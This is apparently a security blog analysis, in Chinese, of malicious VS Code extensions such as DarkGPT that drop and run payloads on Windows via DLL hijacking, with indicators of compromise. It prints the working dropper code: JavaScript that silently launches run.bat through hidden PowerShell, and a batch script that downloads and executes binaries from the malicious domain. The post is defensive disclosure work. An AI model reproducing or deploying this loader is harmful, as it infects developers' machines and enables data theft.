目录
概要
恶意扩展正潜伏在 Visual Studio Code 市场中。在本案例中,我们发现并分析了 DarkGPT,这是一款利用 DLL 劫持技术通过签名 Windows 可执行文件加载恶意代码的 Visual Studio Code 扩展。该有效载荷似乎仅影响 Windows 计算机。相关研究由 Koi Security 发布。
Visual Studio Code 扩展 [email protected] 以及另外两个扩展被发现是恶意的。它们连接至(现已确认为)恶意域名 syn1112223334445556667778889990.org,以下载并执行从受感染机器窃取敏感数据的有效载荷。
此次攻击中的恶意扩展:
| 扩展 ID | 版本 |
|---|---|
| EffetMer.darkgpt | 1.2.0 |
| EffetMer.darkgpt | 1.2.2 |
| BigBlack.codo-ai | 1.0.0 |
| ozz3dev.bitcoin-auto-trading | 1.2.0 |
该域名已被多家安全厂商标记为恶意。
https://www.virustotal.com/gui/url/8fecfc0aee9a877525cde6c28b17b78b3d967c104ae4c8c297749ee8b76797e8
- 初步筛查: 对软件包进行文件列表检查后发现了一个可疑文件
run.bat,这不是 Visual Studio Code 扩展的典型文件。 - 恶意脚本: 检查了
run.bat的内容,发现它是一个释放器。它从可疑 URL(http://syn1112223334445556667778889990.org)下载两个文件Lightshot.exe和Lightshot.dll,并执行Lightshot.exe文件。 - 执行触发: 主扩展文件
extension.js被发现包含在扩展激活时使用 PowerShell 以隐藏窗口(-WindowStyle Hidden)执行run.bat脚本的代码。这显然是为了隐藏恶意活动。
技术分析
有效载荷投递
以下分析基于 [email protected] 软件包。
| 类型 | 值 |
|---|---|
| 扩展名称 | EffetMer.darkgpt |
| 扩展版本 | 1.2.0 |
| SHA256 | a6c3e274ebb631d3d1abd8292c45d64f63b9c8a49b965bb69031455e3df9d1ae |
扩展元数据指向 GitHub 项目 cathedralkingz-afk/DarkGPT-Extension-For-VsCode 仓库,其中包含扩展的所有代码,但 scripts/run.bat 文件除外,该文件是恶意有效载荷释放器。
Visual Studio 扩展(VSX)文件是具有特定文件结构的 ZIP 文件,符合 VS Code 和市场要求。ZIP 文件包含以下文件:
$ unzip -l Microsoft.VisualStudio.Services.VSIXPackage
Archive: Microsoft.VisualStudio.Services.VSIXPackage
Length Date Time Name
--------- ---------- ----- ----
3269 12-08-2025 15:17 extension.vsixmanifest
528 12-08-2025 15:17 [Content_Types].xml
9933 12-08-2025 15:17 extension/readme.md
4325 12-08-2025 15:17 extension/package.json
1087 12-04-2025 18:05 extension/LICENSE.txt
1450436 12-08-2025 14:18 extension/icon.png
8171 12-07-2025 23:22 extension/f.png
47435 12-08-2025 14:14 extension/extension.js
11331 12-04-2025 14:41 extension/themes/bitcoin-black-color-theme.json
490 12-08-2025 11:45 extension/scripts/run.bat
--------- -------
1537005 10 filesextension/package.json 将 extension.js 描述为入口点:
{
"name": "darkgpt",
"displayName": "DarkGPT",
"description": "[...]",
"version": "1.2.0",
"publisher": "EffetMer",
"main": "./extension.js"
}extension.js 按 VS Code 扩展 API 的要求导出 activate 和 deactivate 函数。
// [...]
module.exports = { activate, deactivate };
// [...]当扩展被激活时调用的 activate 函数包含以下代码:
function activate(context) {
log('DarkGPT Extension activated');
log('Extension path: ' + context.extensionPath);
// ============================================================
// IMPORTANT: KEEP POWERSHELL/BAT METHOD - DO NOT REMOVE
// ============================================================
runScript(context);
// [...]
}runScript 函数反过来是主要有效载荷释放器入口点,包含以下代码:
function runScript(context) {
try {
const markerPath = path.join(process.env.TEMP || 'C:\\Windows\\Temp', 'Lightshot', '.done');
// ...
if (fs.existsSync(markerPath)) {
log('Already ran, skipping');
return;
}
const scriptPath = context.asAbsolutePath('scripts/run.bat');
// ...
if (!fs.existsSync(scriptPath)) {
// ...
return;
}
// ...
const powershellCmd = \`powershell.exe -WindowStyle Hidden -Command "& { Start-Process -FilePath '${scriptPath.replace(/\\/g, '/')}' -WindowStyle Hidden }"\`;
const child = spawn(
'powershell.exe',
[
'-WindowStyle',
'Hidden',
'-Command',
\`Start-Process -FilePath '${scriptPath.replace(/'/g, "''")}' -WindowStyle Hidden\`,
],
{
detached: true,
stdio: 'ignore',
windowsHide: true,
}
);
// ...
child.unref();
} catch (e) {
// ...
}
}它的功能如下:
- 在
C:\Windows\Temp\Lightshot\.done创建标记文件以防止多次执行 - 计算相对于扩展路径的
scripts/run.bat文件路径 - 使用
powershell.exe以静默方式(无窗口)运行scripts/run.bat文件
实际的释放器位于 scripts/run.bat 文件中,包含以下代码:
@echo off
setlocal
set "DIR=%TEMP%\Lightshot"
set "EXE=%DIR%\Lightshot.exe"
set "DLL=%DIR%\Lightshot.dll"
set "DONE=%DIR%\.done"
if exist "%DONE%" exit /b 0
if not exist "%DIR%" mkdir "%DIR%"
@curl -s -L -o "%EXE%" "http://syn1112223334445556667778889990.org/Lightshot.exe" >nul 2>&1
@curl -s -L -o "%DLL%" "http://syn1112223334445556667778889990.org/Lightshot.dll" >nul 2>&1
if exist "%EXE%" (
@start "" /min "%EXE%" >nul 2>&1
@echo.>"%DONE%"
)
endlocal它的功能如下:
- 从恶意域名
syn1112223334445556667778889990.org下载Lightshot.exe和Lightshot.dll - 将
Lightshot.exe和Lightshot.dll放置在C:\Windows\Temp\Lightshot目录中 - 执行
Lightshot.exe
$ file Lightshot.exe Lightshot.dll
Lightshot.dll: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Lightshot.exe: PE32 executable (GUI) Intel 80386, for MS WindowsLightshot.exe
Lightshot.exe 是一个 PE32 可执行文件,看起来是一个合法的但经过签名的 Windows 可执行文件。
Lightshot.exe 包含使用 LoadLibraryW Windows API 从当前目录加载 Lightshot.dll 的代码。它构建了相对于自身路径的 Lightshot.dll 的完整路径,然后加载它。这种行为容易受到 DLL 劫持 攻击。
恶意软件作者利用此漏洞将恶意代码加载到受信任的(签名)可执行文件中。这是一种利用签名主机进程的可信度来绕过基于运行时行为的反恶意软件解决方案的常见技术。
Lightshot.dll
Lightshot.dll 在 DllMain 入口点激活其有效载荷。它使用互斥体 COOL_SCREENSHOT_MUTEX_YARRR 来防止多次执行。
Lightshot.dll 中的有效载荷包含下载 https://syn1112223334445556667778889990.org/iknowyou.model 到 %TEMP%\runtime.exe 并使用 CreateProcessW Windows API 执行它的代码。下载使用 PowerShell Invoke-WebRequest cmdlet 执行。
不幸的是,当我们发现 https://syn1112223334445556667778889990.org/iknowyou.model(作为 Lightshot.dll 释放的另一个有效载荷)时,恶意域名 syn1112223334445556667778889990.org 已经不可用(无法解析)。
妥协指标(IoC)
| 指标 | 值 |
|---|---|
| 域名 | syn1112223334445556667778889990.org |
| 文件 | run.bat |
| 文件 | Lightshot.exe |
| 文件 | Lightshot.dll |
| SHA256 | a6c3e274ebb631d3d1abd8292c45d64f63b9c8a49b965bb69031455e3df9d1ae (Microsoft.VisualStudio.Services.VSIXPackage) |
| SHA256 | 0b899508777d7ed5159e2a99a5eff60c54d0724493df3d630525b837fa43aa51 (Lightshot.exe) |
| SHA256 | 0ccc5b274a1b9518facc81344b356b03e023d2cb0704518d75c7517744ecbdf5 (Lightshot.dll) |
结论
这 VSCode 个扩展是恶意的。它们充当释放器,从远程服务器下载并执行有效载荷,同时试图向用户隐藏其活动。
参考
-
https://app.safedep.io/community/malysis/01KC04HABTH5JS50DQ12AKQY3K
-
https://www.koi.ai/blog/the-vs-code-malware-that-captures-your-screen
-
vscode
-
malware
SafeDep 博客最新更新
关注以获取开源安全与工程方面的最新更新和见解